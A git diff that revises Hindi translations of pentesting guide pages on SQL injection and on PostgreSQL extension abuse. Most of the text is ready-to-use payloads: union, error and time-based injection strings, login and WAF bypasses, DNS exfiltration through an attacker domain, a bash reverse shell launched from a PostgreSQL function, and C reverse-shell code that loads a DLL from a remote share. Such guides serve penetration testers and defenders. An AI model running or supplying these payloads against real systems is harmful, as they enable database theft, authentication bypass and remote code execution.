### Google Dorks
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```

View File

@ -4,11 +4,11 @@
## SQL इंजेक्शन क्या है?
एक **SQL इंजेक्शन** एक सुरक्षा दोष है जो हमलावरों को एक एप्लिकेशन के डेटाबेस क्वेरीज़ के साथ **हस्तक्षेप** करने की अनुमति देता है। यह भेद्यता हमलावरों को **देखने**, **संशोधित करने** या **हटाने** की अनुमति दे सकती है, जो उन्हें एक्सेस नहीं करन चाहिए, जिसमें अन्य उपयोगकर्ताओं की जानकारी या कोई भी डेटा शामिल है जिसे एप्लिकेशन एक्सेस कर सकता है। ऐसे कार्य एप्लिकेशन की कार्यक्षमता या सामग्री में स्थायी परिवर्तन का परिणाम बन सकते हैं या यहां तक कि सर्वर का समझौता या सेवा का इनकार भी कर सकते हैं।
एक **SQL इंजेक्शन** एक सुरक्षा दोष है जो हमलावरों को एक एप्लिकेशन के **डेटाबेस क्वेरीज़ में हस्तक्षेप** करने की अनुमति देता है। यह कमजोरियां हमलावरों को **देखने**, **संशोधित करने** या **हटाने** की अनुमति दे सकती है, जो उन्हें एक्सेस नहीं करन चाहिए, जिसमें अन्य उपयोगकर्ताओं की जानकारी या कोई भी डेटा शामिल है जिसे एप्लिकेशन एक्सेस कर सकता है। ऐसे कार्य एप्लिकेशन की कार्यक्षमता या सामग्री में स्थायी परिवर्तन का परिणाम बन सकते हैं या यहां तक कि सर्वर का समझौता या सेवा का इनकार भी कर सकते हैं।
## प्रवेश बिंदु पहचान
जब एक साइट **SQL इंजेक्शन (SQLi)** के लिए **भेद्य** प्रतीत होती है, जो SQLi-संबंधित इनपुट के प्रति असामान्य सर्वर प्रतिक्रियाओं के कारण होती है, तो **पहला कदम** यह समझना है कि **क्वेरी में डेटा को बिना बाधित किए कैसे इंजेक्ट करें**। इसके लिए वर्तमान संदर्भ से **भागने** के तरीके की पहचान करना आवश्यक है। ये कुछ उपयोगी उदाहरण हैं:
जब एक साइट **SQL इंजेक्शन (SQLi)** के लिए **कमजोर** प्रतीत होती है, जो SQLi-संबंधित इनपुट के प्रति असामान्य सर्वर प्रतिक्रियाओं के कारण होती है, तो **पहला कदम** यह समझना है कि **क्वेरी में डेटा को बिना बाधित किए कैसे इंजेक्ट करें**। इसके लिए वर्तमान संदर्भ से **प्रभावी ढंग से बचने** की विधि की पहचान करना आवश्यक है। ये कुछ उपयोगी उदाहरण हैं:
```
[Nothing]
'
@ -23,7 +23,7 @@
```
फिर, आपको यह जानने की आवश्यकता है कि **क्वेरी को कैसे ठीक करें ताकि कोई त्रुटियाँ न हों**। क्वेरी को ठीक करने के लिए, आप **डेटा इनपुट** कर सकते हैं ताकि **पिछली क्वेरी नए डेटा को स्वीकार कर सके**, या आप बस **अपना डेटा इनपुट** कर सकते हैं और **अंत में एक टिप्पणी प्रतीक जोड़ सकते हैं**
_ध्यान दें कि यदि आप त्रुटि संदेश देख सकते हैं या जब क्वेरी काम कर रही है और जब नहीं, तब आप अंतर देख सकते हैं, तो यह चरण अधिक आसान होगा।_
_ध्यान दें कि यदि आप त्रुटि संदेश देख सकते हैं या जब क्वेरी काम कर रही है और जब नहीं कर रही है, तो आप अंतर देख सकते हैं, तो यह चरण अधिक आसान होगा।_
### **टिप्पणियाँ**
```sql
@ -53,11 +53,11 @@ HQL does not support comments
```
### Confirming with logical operations
एक विश्वसनीय विधि SQL injection vulnerability की पुष्टि करने के लिए **logical operation** को निष्पादित करना और अपेक्षित परिणामों का अवलोकन करना शामिल है। उदाहरण के लिए, एक GET पैरामीटर जैसे `?username=Peter` को संशोधित करने पर `?username=Peter' or '1'='1` समान सामग्री उत्पन्न करना SQL injection vulnerability का संकेत देता है।
एक विश्वसनीय विधि SQL injection vulnerability की पुष्टि करने के लिए **logical operation** को निष्पादित करना और अपेक्षित परिणामों का अवलोकन करना शामिल है। उदाहरण के लिए, एक GET पैरामीटर जैसे `?username=Peter` को `?username=Peter' or '1'='1` में संशोधित करने पर समान सामग्री उत्पन्न होना SQL injection vulnerability का संकेत देता है।
इसी तरह, **mathematical operations** का उपयोग एक प्रभावी पुष्टि तकनीक के रूप में किया जाता है। उदाहरण के लिए, यदि `?id=1` और `?id=2-1` तक पहुँचने पर समान परिणाम उत्पन्न होते हैं, तो यह SQL injection का संकेत है।
Examples demonstrating logical operation confirmation:
Logical operation confirmation को प्रदर्शित करने वाले उदाहरण:
```
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
@ -66,11 +66,13 @@ page.asp?id=1 and 1=2 -- results in false
```
यह शब्द-सूची **SQLinjections** की पुष्टि करने के लिए प्रस्तावित तरीके से बनाई गई थी:
{% file src="../../images/sqli-logic.txt" %}
{{#file}}
sqli-logic.txt
{{#endfile}}
### समय के साथ पुष्टि करना
कुछ मामलों में, आप परीक्षण कर रहे पृष्ठ पर **कोई परिवर्तन नहीं देखेंगे**। इसलिए, **ब्लाइंड SQL injections** का पता लगाने का एक अच्छा तरीका है कि DB को क्रियाएँ करने के लिए मजबूर किया जाए, जो पृष्ठ को लोड होने में **समय पर प्रभाव** डालेगा।\
कुछ मामलों में, आप परीक्षण कर रहे पृष्ठ पर **कोई परिवर्तन नहीं देखेंगे**। इसलिए, **ब्लाइंड SQL injections** का पता लगाने का एक अच्छा तरीका है कि DB को क्रियाएँ करने के लिए मजबूर करना और इससे पृष्ठ को लोड होने में **समय पर प्रभाव** पड़ेगा।\
इसलिए, हम SQL क्वेरी में एक ऐसा ऑपरेशन जोड़ने जा रहे हैं जो पूरा होने में बहुत समय लेगा:
```
MySQL (string concat and logical ops)
@ -125,28 +127,28 @@ SQLite
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
Also, if you have access to the output of the query, you could make it **print the version of the database**.
Also, यदि आपके पास क्वेरी के आउटपुट तक पहुंच है, तो आप इसे **डेटाबेस का संस्करण प्रिंट करने** के लिए बना सकते हैं।
> [!NOTE]
> एक निरंतरता है जिसमें हम विभिन्न प्रकार के SQL Injection का शोषण करने के लिए विभिन्न विधियों पर चर्चा करेंगे। हम उदाहरण के रूप में MySQL का उपयोग करेंगे।
> एक निरंतरता में हम विभिन्न प्रकार के SQL Injection का शोषण करने के लिए विभिन्न विधियों पर चर्चा करने जा रहे हैं। हम उदाहरण के रूप में MySQL का उपयोग करेंगे।
### Identifying with PortSwigger
### PortSwigger के साथ पहचानना
{{#ref}}
https://portswigger.net/web-security/sql-injection/cheat-sheet
{{#endref}}
## Exploiting Union Based
## यूनियन आधारित शोषण
### Detecting number of columns
### कॉलम की संख्या का पता लगाना
If you can see the output of the query this is the best way to exploit it.\
First of all, हमें यह पता लगाना है कि **प्रारंभिक अनुरोध** कितने **स्तंभ** वापस कर रहा है। इसका कारण यह है कि **दोनों प्रश्नों को समान संख्या में स्तंभ लौटाने चाहिए**।\
यदि आप क्वेरी के आउटपुट को देख सकते हैं तो यह इसे शोषित करने का सबसे अच्छा तरीका है।\
सबसे पहले, हमें यह पता लगाने की आवश्यकता है कि **प्रारंभिक अनुरोध** कितने **कॉलम** वापस कर रहा है। इसका कारण यह है कि **दोनों क्वेरियों को समान संख्या में कॉलम वापस करना चाहिए**।\
इस उद्देश्य के लिए आमतौर पर दो विधियों का उपयोग किया जाता है:
#### Order/Group by
#### ऑर्डर/ग्रुप द्वारा
To determine the number of columns in a query, incrementally adjust the number used in **ORDER BY** or **GROUP BY** clauses until a false response is received. Despite the distinct functionalities of **GROUP BY** and **ORDER BY** within SQL, both can be utilized identically for ascertaining the query's column count.
क्वेरी में कॉलम की संख्या निर्धारित करने के लिए, **ORDER BY** या **GROUP BY** क्लॉज़ में उपयोग की जाने वाली संख्या को क्रमिक रूप से समायोजित करें जब तक कि एक गलत प्रतिक्रिया प्राप्त न हो। SQL में **GROUP BY** और **ORDER BY** की अलग-अलग कार्यक्षमताओं के बावजूद, दोनों का उपयोग क्वेरी के कॉलम की संख्या का पता लगाने के लिए समान रूप से किया जा सकता है।
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
@ -174,7 +176,7 @@ _आपको `null` मानों का उपयोग करना चा
### डेटाबेस नाम, तालिका नाम और कॉलम नाम निकालें
अगले उदाहरणों में हम सभी डेटाबेस के नाम, एक डेटाबेस की तालिका का नाम, तालिका के कॉलम नाम निकालने जा रहे हैं:
अगले उदाहरणों में हम सभी डेटाबेस के नाम, एक डेटाबेस की तालिका का नाम, तालिका के कॉलम नाम प्राप्त करने जा रहे हैं:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
@ -199,7 +201,7 @@ _हर अलग डेटाबेस पर इस डेटा को खो
## त्रुटि आधारित का शोषण
यदि किसी कारणवश आप **क्वेरी** का **आउटपुट** नहीं देख सकते हैं लेकिन आप **त्रुटि संदेश** देख सकते हैं, तो आप इन त्रुटि संदेशों का उपयोग करके डेटाबेस से डेटा को **एक्स-फिल्ट्रेट** कर सकते हैं।\
यदि किसी कारणवश आप **क्वेरी** का **आउटपुट** **नहीं** देख सकते हैं लेकिन आप **त्रुटि संदेश** देख सकते हैं, तो आप इन त्रुटि संदेशों का उपयोग करके डेटाबेस से डेटा **निकालने** का प्रयास कर सकते हैं।\
यूनियन आधारित शोषण में समान प्रवाह का पालन करते हुए, आप DB को डंप करने में सक्षम हो सकते हैं।
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
@ -219,19 +221,19 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Exploiting Time Based SQLi
इस मामले में **कोई** तरीका **नहीं** है **पृष्ठ** के संदर्भ के आधार पर क्वेरी के **प्रतिक्रिया** को **पहचानने** के लिए। लेकिन, आप पृष्ठ को **लोड होने में अधिक समय** ले जाने के लिए बना सकते हैं यदि अनुमानित वर्ण सही है। हमने पहले इस तकनीक का उपयोग [SQLi vuln की पुष्टि करने](#confirming-with-timing) के लिए देखा है।
इस मामले में **कोई** तरीका **नहीं** है **जिससे** आप पृष्ठ के संदर्भ के आधार पर क्वेरी के **प्रतिक्रिया** को **पहचान** सकें। लेकिन, आप पृष्ठ को **लोड होने में अधिक समय** ले जाने के लिए बना सकते हैं यदि अनुमानित वर्ण सही है। हमने पहले इस तकनीक का उपयोग [SQLi vuln की पुष्टि करने के लिए](#confirming-with-timing) देखा है।
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Stacked Queries
आप स्टैक्ड क्वेरीज़ का उपयोग करके **एक के बाद एक कई क्वेरीज़ को निष्पादित** कर सकते हैं। ध्यान दें कि जबकि बाद की क्वेरीज़ निष्पादित होती हैं, **परिणाम** **ऐप्लिकेशन को वापस नहीं किए जाते**। इसलिए यह तकनीक मुख्य रूप से **ब्लाइंड कमजोरियों** के संबंध में उपयोगी है जहाँ आप एक दूसरी क्वेरी का उपयोग करके DNS लुकअप, शर्तीय त्रुटि, या समय विलंब को ट्रिगर कर सकते हैं।
आप स्टैक्ड क्वेरीज़ का उपयोग करके **एक के बाद एक कई क्वेरीज़ को निष्पादित** कर सकते हैं। ध्यान दें कि जबकि बाद की क्वेरीज़ निष्पादित होती हैं, **परिणाम** **ऐप्लिकेशन को वापस नहीं किए जाते**। इसलिए यह तकनीक मुख्य रूप से **ब्लाइंड वल्नरेबिलिटीज** के संबंध में उपयोगी है जहाँ आप एक दूसरी क्वेरी का उपयोग करके DNS लुकअप, शर्तीय त्रुटि, या समय विलंब को ट्रिगर कर सकते हैं।
**Oracle** **स्टैक्ड क्वेरीज़** का समर्थन नहीं करता। **MySQL, Microsoft** और **PostgreSQL** उनका समर्थन करते हैं: `QUERY-1-HERE; QUERY-2-HERE`
## Out of band Exploitation
यदि **कोई अन्य** शोषण विधि **काम नहीं करती**, तो आप **डेटाबेस को** जानकारी को आपके द्वारा नियंत्रित **बाहरी होस्ट** पर निकालने के लिए प्रयास कर सकते हैं। उदाहरण के लिए, DNS क्वेरीज़ के माध्यम से:
यदि **कोई अन्य** शोषण विधि **काम नहीं करती**, तो आप **डेटाबेस को** जानकारी को आपके द्वारा नियंत्रित **बाहरी होस्ट** पर एक्स-फिल्ट्रेट करने का प्रयास कर सकते हैं। उदाहरण के लिए, DNS क्वेरीज़ के माध्यम से:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
@ -245,7 +247,7 @@ Check the [SQLMap Cheatsheet](sqlmap/index.html) to exploit a SQLi vulnerability
## Tech specific info
हम पहले ही SQL Injection vulnerability को exploit करने के सभी तरीकों पर चर्चा कर चुके हैं। इस पुस्तक में कुछ और तकनीकें जो डेटाबेस प्रौद्योगिकी पर निर्भर हैं, खोजें:
हम पहले ही SQL Injection vulnerability को exploit करने के सभी तरीकों पर चर्चा कर चुके हैं। इस पुस्तक में कुछ और tricks database technology पर निर्भर हैं:
- [MS Access](ms-access-sql-injection.md)
- [MSSQL](mssql-injection.md)
@ -253,11 +255,11 @@ Check the [SQLMap Cheatsheet](sqlmap/index.html) to exploit a SQLi vulnerability
- [Oracle](oracle-injection.md)
- [PostgreSQL](postgresql-injection/index.html)
या आप **MySQL, PostgreSQL, Oracle, MSSQL, SQLite और HQL के बारे में बहुत सारी तकनीकें** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) में पाएंगे।
या आप **MySQL, PostgreSQL, Oracle, MSSQL, SQLite और HQL के बारे में बहुत सारे tricks** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) में पाएंगे।
## Authentication bypass
लॉगिन कार्यक्षमता को बायपास करने के लिए प्रयास करने के लिए सूची:
List to try to bypass the login functionality:
{{#ref}}
../login-bypass/sql-login-bypass.md
@ -267,7 +269,7 @@ Check the [SQLMap Cheatsheet](sqlmap/index.html) to exploit a SQLi vulnerability
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
यह क्वेरी एक कमजोरियों को प्रदर्शित करती है जब MD5 को प्रमाणीकरण जांचों में कच्चे आउटपुट के लिए true के साथ उपयोग किया जाता है, जिससे सिस्टम SQL injection के प्रति संवेदनशील हो जाता है। हमलावर इसको इस प्रकार से भुनाने में सक्षम होते हैं कि वे ऐसे इनपुट तैयार करते हैं जो, जब हैश किए जाते हैं, अप्रत्याशित SQL कमांड भाग उत्पन्न करते हैं, जिससे अनधिकृत पहुंच होती है।
यह क्वेरी एक कमजोरियों को प्रदर्शित करती है जब MD5 को प्रमाणीकरण जांचों में कच्चे आउटपुट के लिए true के साथ उपयोग किया जाता है, जिससे सिस्टम SQL injection के प्रति संवेदनशील हो जाता है। हमलावर इसको इस तरह से भुनाने में सक्षम होते हैं कि वे ऐसे इनपुट तैयार करते हैं जो, जब हैश किए जाते हैं, अप्रत्याशित SQL कमांड भाग उत्पन्न करते हैं, जिससे अनधिकृत पहुंच होती है।
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@ -281,9 +283,11 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
आपको सूची की प्रत्येक पंक्ति को उपयोगकर्ता नाम के रूप में और हमेशा पासवर्ड के रूप में उपयोग करना चाहिए: _**Pass1234.**_\
&#xNAN;_(ये पेलोड भी इस अनुभाग की शुरुआत में उल्लेखित बड़ी सूची में शामिल हैं)_
{% file src="../../images/sqli-hashbypass.txt" %}
{{#file}}
sqli-hashbypass.txt
{{#endfile}}
### GBK प्रमाणीकरण बाईपास
### GBK प्रमाणीकरण बापास
यदि ' को स्केप किया जा रहा है तो आप %A8%27 का उपयोग कर सकते हैं, और जब ' को स्केप किया जाता है तो यह बनेगा: 0xA80x5c0x27 (_╘'_)
```sql
@ -332,11 +336,11 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
`ON DUPLICATE KEY UPDATE` क्लॉज़ MySQL में उपयोग किया जाता है ताकि डेटाबेस को यह निर्दिष्ट किया जा सके कि जब एक पंक्ति डालने का प्रयास किया जाता है जो UNIQUE इंडेक्स या PRIMARY KEY में डुप्लिकेट मान का परिणाम देगा, तो उसे क्या कार्रवाई करनी चाहिए। निम्नलिखित उदाहरण दिखाता है कि इस सुविधा का उपयोग कैसे किया जा सकता है ताकि एक व्यवस्थापक खाते का पासवर्ड संशोधित किया जा सके:
`ON DUPLICATE KEY UPDATE` क्लॉज़ MySQL में उस क्रिया को निर्दिष्ट करने के लिए उपयोग किया जाता है जो डेटाबेस तब करता है जब एक पंक्ति को सम्मिलित करने का प्रयास किया जाता है जो UNIQUE इंडेक्स या PRIMARY KEY में डुप्लिकेट मान का परिणाम देगा। निम्नलिखित उदाहरण दिखाता है कि इस सुविधा का उपयोग कैसे किया जा सकता है ताकि एक व्यवस्थापक खाते का पासवर्ड संशोधित किया जा सके:
Example Payload Injection:
एक इंजेक्शन पेलोड इस प्रकार तैयार किया जा सकता है, जहाँ `users` तालिका में दो पंक्तियाँ डालने का प्रयास किया जाता है। पहली पंक्ति एक डिकॉय है, और दूसरी पंक्ति एक मौजूदा व्यवस्थापक के ईमेल को लक्षित करती है जिसका उद्देश्य पासवर्ड को अपडेट करना है:
एक इंजेक्शन पेलोड इस प्रकार तैयार किया जा सकता है, जहाँ `users` तालिका में दो पंक्तियों को सम्मिलित करने का प्रयास किया जाता है। पहली पंक्ति एक डिकॉय है, और दूसरी पंक्ति एक मौजूदा व्यवस्थापक के ईमेल को लक्षित करती है जिसका उद्देश्य पासवर्ड को अपडेट करना है:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
@ -402,7 +406,7 @@ No Space (%20) - whitespace विकल्पों का उपयोग क
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
कोई व्हाइटस्पेस नहीं - टिप्पणियों का उपयोग करके बायपास
कोई व्हाइटस्पेस - टिप्पणियों का उपयोग करके बायपास
```sql
?id=1/*comment*/and/**/1=1/**/--
```
@ -443,11 +447,11 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```
### Bypass Column Names Restriction
### कॉलम नामों की सीमा को बायपास करें
सबसे पहले, ध्यान दें कि यदि **मूल प्रश्न और वह तालिका जहाँ आप ध्वज निकालना चाहते हैं, में समान संख्या में कॉलम हैं** तो आप बस कर सकते हैं: `0 UNION SELECT * FROM flag`
सबसे पहले, ध्यान दें कि यदि **मूल क्वेरी और वह तालिका जहाँ आप ध्वज निकालना चाहते हैं, में समान संख्या में कॉलम हैं** तो आप बस कर सकते हैं: `0 UNION SELECT * FROM flag`
यह संभव है कि **किसी तालिका के तीसरे कॉलम तक उसके नाम का उपयोग किए बिना पहुँचें** एक प्रश्न का उपयोग करके जैसे: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, तो एक sqlinjection में यह इस तरह दिखेगा:
यह संभव है कि **किसी तालिका के तीसरे कॉलम तक उसके नाम का उपयोग किए बिना पहुंचा जाए** एक क्वेरी का उपयोग करके जैसे: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, तो एक sqlinjection में यह इस तरह दिखेगा:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

View File

@ -4,9 +4,9 @@
## PostgreSQL Extensions
PostgreSQL को विस्तारशीलता को एक मुख्य विशेषता के रूप में विकसित किया गया है, जिससे यह विस्तार को इस तरह से एकीकृत कर सकता है जैसे कि वे अंतर्निहित कार्यक्षमताएँ हों। ये विस्तार, मूल रूप से C में लिखी गई पुस्तकालयें, डेटाबेस को अतिरिक्त कार्यों, ऑपरेटरों या प्रकारों के साथ समृद्ध करते हैं।
PostgreSQL को विस्तारणीयता को एक मुख्य विशेषता के रूप में विकसित किया गया है, जिससे यह विस्तार को इस तरह से एकीकृत कर सकता है जैसे कि वे अंतर्निहित कार्यक्षमताएँ हों। ये विस्तार, मूल रूप से C में लिखी गई पुस्तकालयें, डेटाबेस को अतिरिक्त कार्यों, ऑपरेटरों या प्रकारों के साथ समृद्ध करते हैं।
संस्करण 8.1 से आगे, विस्तार पुस्तकालयों पर एक विशेष आवश्यकता लागू की गई है: उन्हें एक विशेष हेडर के साथ संकलित किया जाना चाहिए। इसके बिना, PostgreSQL उन्हें निष्पादित नहीं करेगा, यह सुनिश्चित करते हुए कि केवल संगत और संभावित रूप से सुरक्षित विस्तार का उपयोग किया जाए।
संस्करण 8.1 से आगे, विस्तार पुस्तकालयों पर एक विशेष आवश्यकता लगाई गई है: उन्हें एक विशेष हेडर के साथ संकलित किया जाना चाहिए। इसके बिना, PostgreSQL उन्हें निष्पादित नहीं करेगा, यह सुनिश्चित करते हुए कि केवल संगत और संभावित रूप से सुरक्षित विस्तार का उपयोग किया जाए।
इसके अलावा, ध्यान रखें कि **यदि आप नहीं जानते कि कैसे** [**PostgreSQL का दुरुपयोग करके पीड़ित को फ़ाइलें अपलोड करें, तो आपको यह पोस्ट पढ़नी चाहिए।**](big-binary-files-upload-postgresql.md)
@ -28,7 +28,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
<summary>Write binary file from base64</summary>
बाइनरी को पोस्टग्रेस में एक फ़ाइल में लिखने के लिए आपको base64 का उपयोग करने की आवश्यकता हो सकती है, यह इस मामले में सहायक होगा:
बाइनरी को पोस्टग्रेस में फ़ाइल में लिखने के लिए आपको base64 का उपयोग करने की आवश्यकता हो सकती है, यह इस मामले में सहायक होगा:
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
@ -75,13 +75,13 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
इस त्रुटि को [PostgreSQL दस्तावेज़](https://www.postgresql.org/docs/current/static/xfunc-c.html) में समझाया गया है:
> यह सुनिश्चित करने के लिए कि एक गतिशील रूप से लोड की गई ऑब्जेक्ट फ़ाइल एक असंगत सर्वर में लोड नहीं की गई है, PostgreSQL यह जांचता है कि फ़ाइल में उपयुक्त सामग्री के साथ एक "जादुई ब्लॉक" है। यह सर्वर को स्पष्ट असंगतियों का पता लगाने की अनुमति देता है, जैसे कि PostgreSQL के एक अलग प्रमुख संस्करण के लिए संकलित कोड। PostgreSQL 8.2 से एक जादुई ब्लॉक की आवश्यकता है। एक जादुई ब्लॉक शामिल करने के लिए, इसे एक (और केवल एक) मॉड्यूल स्रोत फ़ाइल में लिखें, header fmgr.h शामिल करने के बाद:
> यह सुनिश्चित करने के लिए कि एक गतिशील रूप से लोड की गई ऑब्जेक्ट फ़ाइल एक असंगत सर्वर में लोड नहीं की गई है, PostgreSQL यह जांचता है कि फ़ाइल में उपयुक्त सामग्री के साथ एक "जादुई ब्लॉक" है। यह सर्वर को स्पष्ट असंगतियों का पता लगाने की अनुमति देता है, जैसे कि PostgreSQL के एक अलग प्रमुख संस्करण के लिए संकलित कोड। PostgreSQL 8.2 से एक जादुई ब्लॉक की आवश्यकता है। एक जादुई ब्लॉक शामिल करने के लिए, इसे एक (और केवल एक) मॉड्यूल स्रोत फ़ाइल में लिखें, header fmgr.h को शामिल करने के बाद:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
PostgreSQL संस्करण 8.2 के बाद, हमलावर के लिए सिस्टम का शोषण करना अधिक चुनौतीपूर्ण हो गया है। हमलावर को या तो सिस्टम पर पहले से मौजूद एक पुस्तकालय का उपयोग करना होगा या एक कस्टम पुस्तकालय अपलोड करना होगा। यह कस्टम पुस्तकालय संगत प्रमुख संस्करण के PostgreSQL के खिलाफ संकलित होना चाहिए और इसमें एक विशिष्ट "जादुई ब्लॉक" शामिल होना चाहिए। यह उपाय PostgreSQL सिस्टम का शोषण करने की कठिनाई को काफी बढ़ा देता है, क्योंकि यह सिस्टम की वास्तुकला और संस्करण संगतता की गहरी समझ की आवश्यकता होती है।
PostgreSQL संस्करण 8.2 से, हमलावर के लिए सिस्टम का शोषण करना अधिक चुनौतीपूर्ण हो गया है। हमलावर को या तो सिस्टम पर पहले से मौजूद एक पुस्तकालय का उपयोग करना होगा या एक कस्टम पुस्तकालय अपलोड करना होगा। इस कस्टम पुस्तकालय को PostgreSQL के संगत प्रमुख संस्करण के खिलाफ संकलित किया जाना चाहिए और इसमें एक विशिष्ट "जादुई ब्लॉक" शामिल होना चाहिए। यह उपाय PostgreSQL सिस्टम का शोषण करने की कठिनाई को काफी बढ़ा देता है, क्योंकि यह सिस्टम की वास्तुकला और संस्करण संगतता की गहरी समझ की आवश्यकता होती है।
#### पुस्तकालय संकलित करें
@ -119,7 +119,7 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
आप इस **प्रीकंपाइल की गई लाइब्रेरी** को कई विभिन्न PostgreSQL संस्करणों के लिए पा सकते हैं और यहां तक कि आप **इस प्रक्रिया को स्वचालित** कर सकते हैं (यदि आपके पास PostgreSQL एक्सेस है) के साथ:
आप इस **प्रीकंपाइल की गई लाइब्रेरी** को कई विभिन्न PostgreSQL संस्करणों के लिए पा सकते हैं और यहां तक कि आप **इस प्रक्रिया को स्वचालित** भी कर सकते हैं (यदि आपके पास PostgreSQL का एक्सेस है) के साथ:
{{#ref}}
https://github.com/Dionach/pgexec
@ -166,7 +166,9 @@ PG_RETURN_VOID();
```
आप इस ज़िप में संकलित DLL पा सकते हैं:
{% file src="../../../images/pgsql_exec.zip" %}
{{#file}}
pgsql_exec.zip
{{#endfile}}
आप इस DLL को **कौन सा बाइनरी निष्पादित करना है** और इसे कितनी बार निष्पादित करना है, यह बता सकते हैं, इस उदाहरण में यह `calc.exe` को 2 बार निष्पादित करेगा:
```bash
@ -174,7 +176,7 @@ CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.1
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
```
इस [**यहाँ** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) आप इस रिवर्स-शेल को पा सकते हैं:
आप [**यहाँ** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) इस रिवर्स-शेल को पा सकते हैं:
```c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
@ -262,13 +264,13 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
**नवीनतम संस्करणों** में PostgreSQL, प्रतिबंध लगाए गए हैं जहाँ `superuser` को **विशिष्ट निर्देशिकाओं** के अलावा साझा पुस्तकालय फ़ाइलें **लोड करने** से **रोक दिया गया** है, जैसे Windows पर `C:\Program Files\PostgreSQL\11\lib` या \*nix सिस्टम पर `/var/lib/postgresql/11/lib`। ये निर्देशिकाएँ NETWORK_SERVICE या postgres खातों द्वारा लिखने के संचालन के खिलाफ **सुरक्षित** हैं।
इन प्रतिबंधों के बावजूद, एक प्रमाणित डेटाबेस `superuser` के लिए "large objects" का उपयोग करके फ़ाइल सिस्टम में **बाइनरी फ़ाइलें लिखना** संभव है। यह क्षमता `C:\Program Files\PostgreSQL\11\data` निर्देशिका के भीतर लिखने तक फैली हुई है, जो तालिकाओं को अपडेट करने या बनाने जैसे डेटाबेस संचालन के लिए आवश्यक है।
इन प्रतिबंधों के बावजूद, एक प्रमाणित डेटाबेस `superuser` के लिए "large objects" का उपयोग करके फ़ाइल सिस्टम में **बाइनरी फ़ाइलें लिखना** संभव है। यह क्षमता `C:\Program Files\PostgreSQL\11\data` निर्देशिका के भीतर लिखने तक फैली हुई है, जो तालिकाओं को अपडेट या बनाने जैसे डेटाबेस संचालन के लिए आवश्यक है।
`CREATE FUNCTION` कमांड से एक महत्वपूर्ण भेद्यता उत्पन्न होती है, जो डेटा निर्देशिका में **निर्देशिका यात्रा** की अनुमति देती है। परिणामस्वरूप, एक प्रमाणित हमलावर इस यात्रा का **शोषण** कर सकता है ताकि डेटा निर्देशिका में एक साझा पुस्तकालय फ़ाइल लिखी जा सके और फिर उसे **लोड किया जा सके**। यह शोषण हमलावर को मनमाने कोड को निष्पादित करने की अनुमति देता है, जिससे सिस्टम पर मूल कोड निष्पादन प्राप्त होता है।
